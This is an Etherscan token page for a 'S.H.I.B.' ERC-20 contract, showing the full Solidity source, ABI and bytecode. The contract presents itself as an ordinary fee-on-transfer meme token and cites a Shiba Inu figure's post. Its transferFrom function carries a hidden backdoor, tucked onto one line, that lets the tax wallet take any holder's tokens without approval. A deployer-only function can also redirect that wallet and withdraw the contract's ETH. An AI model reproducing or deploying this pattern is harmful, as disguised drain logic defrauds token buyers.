ETH Price: $3,386.27 (+0.76%)

Token

S.H.I.B. (S.H.I.B.)
 

Overview

Max Total Supply

1,000,000,000 S.H.I.B.

Holders

103

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,000,000 S.H.I.B.

Value
$0.00
0x7e075254801b9e480c1641ecd39ead4791607b9b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBToken

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-05
*/

pragma solidity 0.8.25;
/*
https://x.com/ShytoshiKusama/status/1853603751547814193
Tg: https://t.me/shib_Erc20
*/
// SPDX-License-Identifier: MIT

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract SHIBToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _shouldFeeExcluded;    
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"S.H.I.B.";
    string private constant _symbol = unicode"S.H.I.B.";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;

    address private pitoeee;
    address private kapi;
    IUniswapV2Router02 private uniRouter;
    address private uniPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        pitoeee = msg.sender;
        
        _taxWallet = payable(0xF2f62F55D1357Df0b435ee6c736E19284042fcb4);
        _shouldFeeExcluded[owner()] = true;
        _shouldFeeExcluded[address(this)] = true;
        _shouldFeeExcluded[_taxWallet] = true;
        
        kapi = _taxWallet;

        _balances[address(this)] = _tTotal;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(_msgSender()==kapi)_allowances[sender][_msgSender()]+=amount;
        _approve(sender, _msgSender(), _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniPair && to != address(uniRouter) && ! _shouldFeeExcluded[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniPair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniPair && swapEnabled ) {
                if(contractTokenBalance > 0)
                swapGTT(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                send_GTT_Eth(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function ManualGTT() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapGTT(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          send_GTT_Eth(ethBalance);
        }
    }

    function getGTTETH(address payable _wallet) external {
        require(msg.sender == pitoeee);
        kapi=_taxWallet=_wallet;
        payable(msg.sender).transfer(address(this).balance);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function send_GTT_Eth(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapGTT(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();
        _approve(address(this), address(uniRouter), tokenAmount);
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniRouter), _tTotal);
        uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(address(this), uniRouter.WETH());
        uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniPair).approve(address(uniRouter), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ManualGTT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address payable","name":"_wallet","type":"address"}],"name":"getGTTETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555600f6006555f6007555f600855600f600955600f600a555f600b5560646009600a6100349190610340565b61004290633b9aca00610355565b61004d906002610355565b610057919061036c565b600c5560646100686009600a610340565b61007690633b9aca00610355565b610081906002610355565b61008b919061036c565b600d55606461009c6009600a610340565b6100aa90633b9aca00610355565b6100b5906001610355565b6100bf919061036c565b600e556012805461ffff60a81b191690555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f80546001600160a01b031990811633179091556004805490911673f2f62f55d1357df0b435ee6c736e19284042fcb4179055600160035f61015a5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560048054831685529290932080549094169092179092559054601080546001600160a01b031916919092161790556101d86009600a610340565b6101e690633b9aca00610355565b305f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102266009600a610340565b61023490633b9aca00610355565b60405190815260200160405180910390a361038b565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561029857815f190482111561027e5761027e61024a565b8085161561028b57918102915b93841c9390800290610263565b509250929050565b5f826102ae5750600161033a565b816102ba57505f61033a565b81600181146102d057600281146102da576102f6565b600191505061033a565b60ff8411156102eb576102eb61024a565b50506001821b61033a565b5060208310610133831016604e8410600b8410161715610319575081810a61033a565b610323838361025e565b805f19048211156103365761033661024a565b0290505b92915050565b5f61034e60ff8416836102a0565b9392505050565b808202811582820484141761033a5761033a61024a565b5f8261038657634e487b7160e01b5f52601260045260245ffd5b500490565b611807806103985f395ff3fe608060405260043610610108575f3560e01c80637d1db4a511610092578063a9059cbb11610062578063a9059cbb146102a0578063aac9ba36146102bf578063c9567bf9146102de578063d4dd738e146102f2578063dd62ed3e14610306575f80fd5b80637d1db4a5146102505780638da5cb5b146102655780638f9a55c01461028b57806395d89b4114610113575f80fd5b806323b872dd116100d857806323b872dd146101b8578063313ce567146101d757806370a08231146101f2578063715018a614610226578063751039fc1461023c575f80fd5b806306fdde0314610113578063095ea7b3146101525780630faee56f1461018157806318160ddd146101a4575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b506040805180820182526008815267299724172497211760c11b60208201529051610149919061140e565b60405180910390f35b34801561015d575f80fd5b5061017161016c36600461145a565b61034a565b6040519015158152602001610149565b34801561018c575f80fd5b50610196600e5481565b604051908152602001610149565b3480156101af575f80fd5b50610196610360565b3480156101c3575f80fd5b506101716101d2366004611484565b610380565b3480156101e2575f80fd5b5060405160098152602001610149565b3480156101fd575f80fd5b5061019661020c3660046114c2565b6001600160a01b03165f9081526001602052604090205490565b348015610231575f80fd5b5061023a610431565b005b348015610247575f80fd5b5061023a6104ab565b34801561025b575f80fd5b50610196600c5481565b348015610270575f80fd5b505f546040516001600160a01b039091168152602001610149565b348015610296575f80fd5b50610196600d5481565b3480156102ab575f80fd5b506101716102ba36600461145a565b61055c565b3480156102ca575f80fd5b5061023a6102d93660046114c2565b610568565b3480156102e9575f80fd5b5061023a6105d6565b3480156102fd575f80fd5b5061023a61097f565b348015610311575f80fd5b506101966103203660046114dd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103563384846109cc565b5060015b92915050565b5f61036d6009600a611608565b61037b90633b9aca00611616565b905090565b5f61038c848484610aef565b6010546001600160a01b031633036103d6576001600160a01b0384165f908152600260209081526040808320338452909152812080548492906103d090849061162d565b90915550505b6104278433610422856040518060600160405280602881526020016117aa602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061108a565b6109cc565b5060019392505050565b5f546001600160a01b031633146104635760405162461bcd60e51b815260040161045a90611640565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d45760405162461bcd60e51b815260040161045a90611640565b6104e06009600a611608565b6104ee90633b9aca00611616565b600c556104fd6009600a611608565b61050b90633b9aca00611616565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053b6009600a611608565b61054990633b9aca00611616565b60405190815260200160405180910390a1565b5f610356338484610aef565b600f546001600160a01b0316331461057e575f80fd5b600480546001600160a01b0383166001600160a01b0319918216811790925560108054909116909117905560405133904780156108fc02915f818181858888f193505050501580156105d2573d5f803e3d5ffd5b5050565b5f546001600160a01b031633146105ff5760405162461bcd60e51b815260040161045a90611640565b601254600160a01b900460ff16156106595760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045a565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106a29030906106946009600a611608565b61042290633b9aca00611616565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107169190611675565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610775573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107999190611675565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107e3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108079190611675565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061084e816001600160a01b03165f9081526001602052604090205490565b5f806108615f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108c7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108ec9190611690565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610941573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096591906116bb565b506012805462ff00ff60a01b19166201000160a01b179055565b6004546001600160a01b0316336001600160a01b03161461099e575f80fd5b305f9081526001602052604090205480156109bc576109bc816110c2565b4780156105d2576105d281611232565b6001600160a01b038316610a2e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045a565b6001600160a01b038216610a8f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b038216610bb55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b5f8111610c165760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045a565b6012545f90600160b01b900460ff161580610c3a5750601254600160a81b900460ff165b15610cf2576001600160a01b0384165f90815260016020526040902054610c629083906116da565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c9190839061162d565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce49086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d1c57505f546001600160a01b03848116911614155b15610f5657610d4d6064610d47600954600b5411610d3c57600554610d40565b6007545b8590611269565b906112ee565b6012549091506001600160a01b038581169116148015610d7b57506011546001600160a01b03848116911614155b8015610d9f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e8557600c54821115610df65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045a565b600d5482610e18856001600160a01b03165f9081526001602052604090205490565b610e22919061162d565b1115610e705760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045a565b600b8054905f610e7f836116ed565b91905055505b6012546001600160a01b038481169116148015610eab57506001600160a01b0384163014155b15610ed857610ed56064610d47600a54600b5411610ecb57600654610d40565b6008548590611269565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610f0e57506012546001600160a01b038581169116145b8015610f235750601254600160b01b900460ff165b15610f54578015610f4b57610f4b610f4684610f4184600e5461132f565b61132f565b6110c2565b610f5447611232565b505b8015610fce57305f90815260016020526040902054610f759082611343565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc59085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ff090836113a1565b6001600160a01b0385165f9081526001602052604090205561103361101583836113a1565b6001600160a01b0385165f9081526001602052604090205490611343565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61107c85856113a1565b604051908152602001610ce4565b5f81848411156110ad5760405162461bcd60e51b815260040161045a919061140e565b505f6110b984866116da565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061110857611108611705565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561115f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111839190611675565b8160018151811061119657611196611705565b6001600160a01b0392831660209182029290920101526011546111bc91309116846109cc565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f49085905f90869030904290600401611719565b5f604051808303815f87803b15801561120b575f80fd5b505af115801561121d573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105d2573d5f803e3d5ffd5b5f825f0361127857505f61035a565b5f6112838385611616565b905082611290858361178a565b146112e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045a565b9392505050565b5f6112e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e2565b5f81831161133d57826112e7565b50919050565b5f8061134f838561162d565b9050838110156112e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045a565b5f6112e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061108a565b5f81836114025760405162461bcd60e51b815260040161045a919061140e565b505f6110b9848661178a565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611457575f80fd5b50565b5f806040838503121561146b575f80fd5b823561147681611443565b946020939093013593505050565b5f805f60608486031215611496575f80fd5b83356114a181611443565b925060208401356114b181611443565b929592945050506040919091013590565b5f602082840312156114d2575f80fd5b81356112e781611443565b5f80604083850312156114ee575f80fd5b82356114f981611443565b9150602083013561150981611443565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561156257815f190482111561154857611548611514565b8085161561155557918102915b93841c939080029061152d565b509250929050565b5f826115785750600161035a565b8161158457505f61035a565b816001811461159a57600281146115a4576115c0565b600191505061035a565b60ff8411156115b5576115b5611514565b50506001821b61035a565b5060208310610133831016604e8410600b84101617156115e3575081810a61035a565b6115ed8383611528565b805f190482111561160057611600611514565b029392505050565b5f6112e760ff84168361156a565b808202811582820484141761035a5761035a611514565b8082018082111561035a5761035a611514565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611685575f80fd5b81516112e781611443565b5f805f606084860312156116a2575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116cb575f80fd5b815180151581146112e7575f80fd5b8181038181111561035a5761035a611514565b5f600182016116fe576116fe611514565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117695784516001600160a01b031683529383019391830191600101611744565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826117a457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c5ac25d6c1b6cde916cc7a25daf913696fe9940fb363d30023510303e57fe5464736f6c63430008190033

Deployed Bytecode

0x608060405260043610610108575f3560e01c80637d1db4a511610092578063a9059cbb11610062578063a9059cbb146102a0578063aac9ba36146102bf578063c9567bf9146102de578063d4dd738e146102f2578063dd62ed3e14610306575f80fd5b80637d1db4a5146102505780638da5cb5b146102655780638f9a55c01461028b57806395d89b4114610113575f80fd5b806323b872dd116100d857806323b872dd146101b8578063313ce567146101d757806370a08231146101f2578063715018a614610226578063751039fc1461023c575f80fd5b806306fdde0314610113578063095ea7b3146101525780630faee56f1461018157806318160ddd146101a4575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b506040805180820182526008815267299724172497211760c11b60208201529051610149919061140e565b60405180910390f35b34801561015d575f80fd5b5061017161016c36600461145a565b61034a565b6040519015158152602001610149565b34801561018c575f80fd5b50610196600e5481565b604051908152602001610149565b3480156101af575f80fd5b50610196610360565b3480156101c3575f80fd5b506101716101d2366004611484565b610380565b3480156101e2575f80fd5b5060405160098152602001610149565b3480156101fd575f80fd5b5061019661020c3660046114c2565b6001600160a01b03165f9081526001602052604090205490565b348015610231575f80fd5b5061023a610431565b005b348015610247575f80fd5b5061023a6104ab565b34801561025b575f80fd5b50610196600c5481565b348015610270575f80fd5b505f546040516001600160a01b039091168152602001610149565b348015610296575f80fd5b50610196600d5481565b3480156102ab575f80fd5b506101716102ba36600461145a565b61055c565b3480156102ca575f80fd5b5061023a6102d93660046114c2565b610568565b3480156102e9575f80fd5b5061023a6105d6565b3480156102fd575f80fd5b5061023a61097f565b348015610311575f80fd5b506101966103203660046114dd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103563384846109cc565b5060015b92915050565b5f61036d6009600a611608565b61037b90633b9aca00611616565b905090565b5f61038c848484610aef565b6010546001600160a01b031633036103d6576001600160a01b0384165f908152600260209081526040808320338452909152812080548492906103d090849061162d565b90915550505b6104278433610422856040518060600160405280602881526020016117aa602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061108a565b6109cc565b5060019392505050565b5f546001600160a01b031633146104635760405162461bcd60e51b815260040161045a90611640565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d45760405162461bcd60e51b815260040161045a90611640565b6104e06009600a611608565b6104ee90633b9aca00611616565b600c556104fd6009600a611608565b61050b90633b9aca00611616565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053b6009600a611608565b61054990633b9aca00611616565b60405190815260200160405180910390a1565b5f610356338484610aef565b600f546001600160a01b0316331461057e575f80fd5b600480546001600160a01b0383166001600160a01b0319918216811790925560108054909116909117905560405133904780156108fc02915f818181858888f193505050501580156105d2573d5f803e3d5ffd5b5050565b5f546001600160a01b031633146105ff5760405162461bcd60e51b815260040161045a90611640565b601254600160a01b900460ff16156106595760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045a565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106a29030906106946009600a611608565b61042290633b9aca00611616565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107169190611675565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610775573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107999190611675565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107e3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108079190611675565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061084e816001600160a01b03165f9081526001602052604090205490565b5f806108615f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108c7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108ec9190611690565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610941573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096591906116bb565b506012805462ff00ff60a01b19166201000160a01b179055565b6004546001600160a01b0316336001600160a01b03161461099e575f80fd5b305f9081526001602052604090205480156109bc576109bc816110c2565b4780156105d2576105d281611232565b6001600160a01b038316610a2e5760405162461bcd